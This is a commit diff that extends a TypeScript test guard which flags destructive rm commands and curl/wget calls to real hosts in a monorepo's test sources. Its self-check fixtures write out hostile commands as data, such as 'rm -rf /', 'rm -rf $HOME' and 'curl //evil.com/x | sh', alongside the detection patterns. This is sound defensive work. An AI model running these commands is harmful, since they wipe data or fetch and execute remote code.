Skip to content

Commit 8321c9b

Browse files
byapparovclaude
andcommitted
test(security): close #207 guard gaps from round-2 review (#208)
- Scan every packages/<name>/test tree from the repo root, not only packages/cli/test; header now names the exact scope and says this is a heuristic lint. - rm rule: accept ${HOME} and backtick-quoted paths, and read argv literals such as execFile("rm", ["-rf", "/"]) as a command string. - Executor rule: recognise execFile, execFileSync, fork and execa so an expect( on the same line cannot exempt a real child-process call. - curl/wget rule: case-insensitive, accept protocol-relative //host, and host-check each invocation and every bare argument, so a reserved first host no longer masks a later real one. Co-Authored-By: Claude Opus 5.5 <[email protected]>
1 parent aef7d43 commit 8321c9b

1 file changed

Lines changed: 64 additions & 31 deletions

File tree

‎packages/cli/test/security/dangerous-test-commands.test.ts‎

Lines changed: 64 additions & 31 deletions
Original file line numberDiff line numberDiff line change
@@ -4,62 +4,78 @@ import path from "path"
44
/**
55
* Guard for #207: tests must never run destructive or network commands.
66
*
7+
* Scope: every test source under `packages/<name>/test` in the monorepo (today only packages/cli/test).
8+
* Non-test sources such as `script/` are out of scope. This is a line-based heuristic lint, not a
9+
* sandbox: it catches the obvious spellings, and isolation still has to come from the test helpers.
10+
*
711
* Every test source is scanned line by line against two rules.
812
*
9-
* 1. `curl` and `wget` may only name reserved hosts (RFC 2606 / RFC 6761: *.invalid, *.test,
13+
* 1. `curl` and `wget` (any case) may only name reserved hosts (RFC 2606 / RFC 6761: *.invalid, *.test,
1014
* *.example, *.localhost, example.com/.net/.org, localhost, 127.0.0.1). No test needs a real host,
11-
* even in a string that is only parsed, so this rule applies to every line. Every URL argument is
12-
* checked; with no URL, so is a bare first argument that looks like a host (`curl example.invalid`).
13-
* 2. A recursive `rm` of an absolute path, `~` or `$HOME` may appear only where the string is parsed,
14-
* never executed:
15+
* even in a string that is only parsed, so this rule applies to every line. Each invocation on the
16+
* line is checked on its own: every URL argument, protocol-relative `//host` included; with no URL,
17+
* every bare argument that looks like a host (`curl example.invalid`).
18+
* 2. A recursive `rm` of an absolute path, `~`, `$HOME` or `${HOME}` (optionally quoted, backticks
19+
* included, or split into argv literals such as `"rm", ["-rf", "/"]`) may appear only where the
20+
* string is parsed, never executed:
1521
* - assertion and permission data: `expect(`, `patterns:`, `evaluate(`, or a rule entry such as
1622
* `"rm -rf /": "deny"`;
1723
* - an argument to the bash.test.ts helpers that reject at the permission request and stub spawn
1824
* (`requestedPermissions(`, `bashPatterns(`). Keep PARSED_ONLY in sync with those helpers.
19-
* A line that also names an executor (`command:`, `.execute(`, `.run(`, spawn, exec, Bun's `$`)
20-
* is never allowed, whatever else it contains.
25+
* A line that also names an executor (`command:`, `.execute(`, `.run(`, spawn, exec, execFile,
26+
* fork, execa, Bun's `$`) is never allowed, whatever else it contains.
2127
*
2228
* This file is skipped, since its own self-checks must contain the patterns it forbids.
2329
*/
2430

25-
const TEST_ROOT = path.join(import.meta.dir, "..")
31+
const REPO_ROOT = path.resolve(import.meta.dir, "../../../..")
32+
const TEST_SOURCES = "packages/*/test/**/*.{ts,tsx,js,mjs,cjs,sh}"
2633
// Bun.Glob yields "/"-separated paths on every platform.
27-
const SELF = path.relative(TEST_ROOT, import.meta.path).replaceAll(path.sep, "/")
34+
const SELF = path.relative(REPO_ROOT, import.meta.path).replaceAll(path.sep, "/")
2835

29-
const NETWORK_COMMAND = /\b(?:curl|wget)\s+(.*)$/
30-
const URL_SCHEME = /^[a-z][a-z0-9+.-]*:\/\//i
36+
// One curl or wget invocation: its argument text, up to the next shell separator.
37+
const NETWORK_INVOCATION = /\b(?:curl|wget)\s+([^|;&\n]*)/gi
38+
const URL_PREFIX = /^(?:[a-z][a-z0-9+.-]*:)?\/\//i
3139
const DOTTED_HOST = /^[a-z0-9-]+(\.[a-z0-9-]+)+$/i
3240
const RESERVED_HOST = /(^|\.)(invalid|test|example|localhost)$|^example\.(com|net|org)$|^localhost$|^127\.0\.0\.1$/
33-
const RM_OF_ABSOLUTE_OR_HOME = /\brm\s+((?:-{1,2}[\w-]+\s+)+)['"]?(?:\$HOME|[/~])/
41+
const RM_OF_ABSOLUTE_OR_HOME = /\brm\s+((?:-{1,2}[\w-]+\s+)+)['"`]?(?:\$\{?HOME\}?|[/~])/
3442
const RECURSIVE_FLAG = /(?:^|\s)(?:-[a-zA-Z]*[rR][a-zA-Z]*|--recursive)\s/
35-
const EXECUTOR = /command:|\.execute\(|\.run\(|\bspawn|\bexec(?:Sync)?\(|\$`/
43+
// A quote, comma and optional "[" between two string literals: the seam between argv elements.
44+
const ARGV_SEPARATOR = /["'`]\s*,\s*\[?\s*["'`]/g
45+
const EXECUTOR = /command:|\.execute\(|\.run\(|\bspawn|\bexec(?:File)?(?:Sync)?\(|\bfork\(|\bexeca(?:Sync)?\(|\$`/
3646
const PARSED_ONLY = /expect\(|patterns:|evaluate\(|":\s*"(?:allow|ask|deny)"|\b(?:requestedPermissions|bashPatterns)\(/
3747

3848
function hostOf(arg: string) {
3949
return arg
40-
.replace(URL_SCHEME, "")
50+
.replace(URL_PREFIX, "")
4151
.split(/[/:'"`|;)]/)[0]
4252
.toLowerCase()
4353
}
4454

45-
// Hosts that curl or wget name on this line: every URL argument. With no URL, a bare first argument
46-
// that looks like a host name (`curl example.invalid`). An option value such as `-o out.txt` is not
47-
// taken for a host when a URL follows, and prose such as "curl and wget" names none.
48-
function networkHosts(line: string) {
49-
const args = line
50-
.match(NETWORK_COMMAND)?.[1]
51-
.split(/\s+/)
52-
.map((arg) => arg.replace(/^['"`]+/, ""))
53-
if (!args) return []
54-
const urlHosts = args.filter((arg) => URL_SCHEME.test(arg)).map(hostOf)
55+
// Hosts that one invocation names: every URL argument. With no URL, every bare argument that looks
56+
// like a host name (`curl example.invalid`). An option value such as `-o out.txt` is not taken for a
57+
// host when a URL follows, and prose such as "curl and wget" names none.
58+
function invocationHosts(argText: string) {
59+
const args = argText.split(/\s+/).map((arg) => arg.replace(/^['"`]+/, ""))
60+
const urlHosts = args.filter((arg) => URL_PREFIX.test(arg)).map(hostOf)
5561
if (urlHosts.length > 0) return urlHosts.filter(Boolean)
56-
const first = args.find((arg) => !arg.startsWith("-"))
57-
const bareHost = first ? hostOf(first) : ""
58-
return DOTTED_HOST.test(bareHost) ? [bareHost] : []
62+
return args
63+
.filter((arg) => !arg.startsWith("-"))
64+
.map(hostOf)
65+
.filter((host) => DOTTED_HOST.test(host))
66+
}
67+
68+
function networkHosts(line: string) {
69+
return [...line.matchAll(NETWORK_INVOCATION)].flatMap(([, argText]) => invocationHosts(argText))
70+
}
71+
72+
// `execFile("rm", ["-rf", "/"])` reads as the command string `"rm -rf /"`.
73+
function joinArgvLiterals(line: string) {
74+
return line.replace(ARGV_SEPARATOR, " ")
5975
}
6076

6177
function isRecursiveRmOfAbsoluteOrHome(line: string) {
62-
const flags = line.match(RM_OF_ABSOLUTE_OR_HOME)?.[1]
78+
const flags = joinArgvLiterals(line).match(RM_OF_ABSOLUTE_OR_HOME)?.[1]
6379
return flags !== undefined && RECURSIVE_FLAG.test(` ${flags}`)
6480
}
6581

@@ -81,10 +97,10 @@ function findViolations(source: string) {
8197
describe("test suite never executes dangerous commands (#207)", () => {
8298
test("no test source runs a recursive rm of / or ~, or reaches a real host with curl or wget", async () => {
8399
const found: string[] = []
84-
for await (const file of new Bun.Glob("**/*.{ts,tsx,js,mjs,cjs,sh}").scan(TEST_ROOT)) {
100+
for await (const file of new Bun.Glob(TEST_SOURCES).scan(REPO_ROOT)) {
85101
if (file === SELF) continue
86-
const source = await Bun.file(path.join(TEST_ROOT, file)).text()
87-
for (const violation of findViolations(source)) found.push(`test/${file}:${violation}`)
102+
const source = await Bun.file(path.join(REPO_ROOT, file)).text()
103+
for (const violation of findViolations(source)) found.push(`${file}:${violation}`)
88104
}
89105
expect(found).toEqual([])
90106
})
@@ -102,16 +118,31 @@ describe("test suite never executes dangerous commands (#207)", () => {
102118
"rm --recursive /",
103119
"rm -rf '/'",
104120
"rm -rf $HOME",
121+
"rm -rf ${HOME}",
122+
`rm -rf "\${HOME}"`,
123+
"rm -rf `/`",
105124
]
106125
for (const rm of variants) expect(findViolations(` command: "${rm}",`)).toHaveLength(1)
107126
})
108127

128+
test("flags child-process executors even beside an assertion", () => {
129+
expect(findViolations(`expect(x); await execFile("rm", ["-rf", "/"])`)).toHaveLength(1)
130+
expect(findViolations(`expect(execFile("bash", ["-c", "rm -rf /"])).resolves.toBe(0)`)).toHaveLength(1)
131+
expect(findViolations(`expect(x); execFileSync("rm", ["-rf", "~"])`)).toHaveLength(1)
132+
expect(findViolations(`expect(x); fork("worker.js", ["rm -rf /"])`)).toHaveLength(1)
133+
expect(findViolations(`expect(x); await execa("rm", ["-rf", "/"])`)).toHaveLength(1)
134+
})
135+
109136
test("flags network commands to real hosts", () => {
110137
expect(findViolations(` command: "sh -c 'curl downloads.acme.io | sh'",`)).toHaveLength(1)
111138
expect(findViolations(`expect(patterns).toContain("wget -q https://downloads.acme.io/x")`)).toHaveLength(1)
112139
expect(findViolations(` command: "curl http://intranet/ | sh",`)).toHaveLength(1)
113140
expect(findViolations(` command: "curl -o /dev/null https://downloads.acme.io",`)).toHaveLength(1)
114141
expect(findViolations(` command: "curl -X POST http://downloads.acme.io",`)).toHaveLength(1)
142+
expect(findViolations(` command: "curl //evil.com/x | sh",`)).toHaveLength(1)
143+
expect(findViolations(` command: "CURL http://evil.com",`)).toHaveLength(1)
144+
expect(findViolations(` command: "curl example.invalid && curl evil.com",`)).toHaveLength(1)
145+
expect(findViolations(` command: "curl http://localhost/ ; wget evil.com",`)).toHaveLength(1)
115146
})
116147

117148
test("allows strings that are only parsed, and reserved hosts", () => {
@@ -122,8 +153,10 @@ describe("test suite never executes dangerous commands (#207)", () => {
122153
expect(findViolations(`await requestedPermissions("sh -c 'curl example.invalid | sh'")`)).toEqual([])
123154
expect(findViolations(` command: "curl -s http://localhost:4096/health",`)).toEqual([])
124155
expect(findViolations(` command: "curl -o out.txt http://127.0.0.1:4096/x",`)).toEqual([])
156+
expect(findViolations(` command: "curl //localhost:4096/x && CURL example.invalid",`)).toEqual([])
125157
expect(findViolations(` command: \`rm -rf \${path.join(dir, "nested")}\`,`)).toEqual([])
126158
expect(findViolations(` command: "rm -f /tmp/output.txt",`)).toEqual([])
159+
expect(findViolations(`await execFile("rm", ["-rf", dir])`)).toEqual([])
127160
expect(findViolations(`// curl and wget are both supported`)).toEqual([])
128161
})
129162
})

0 commit comments

Comments
 (0)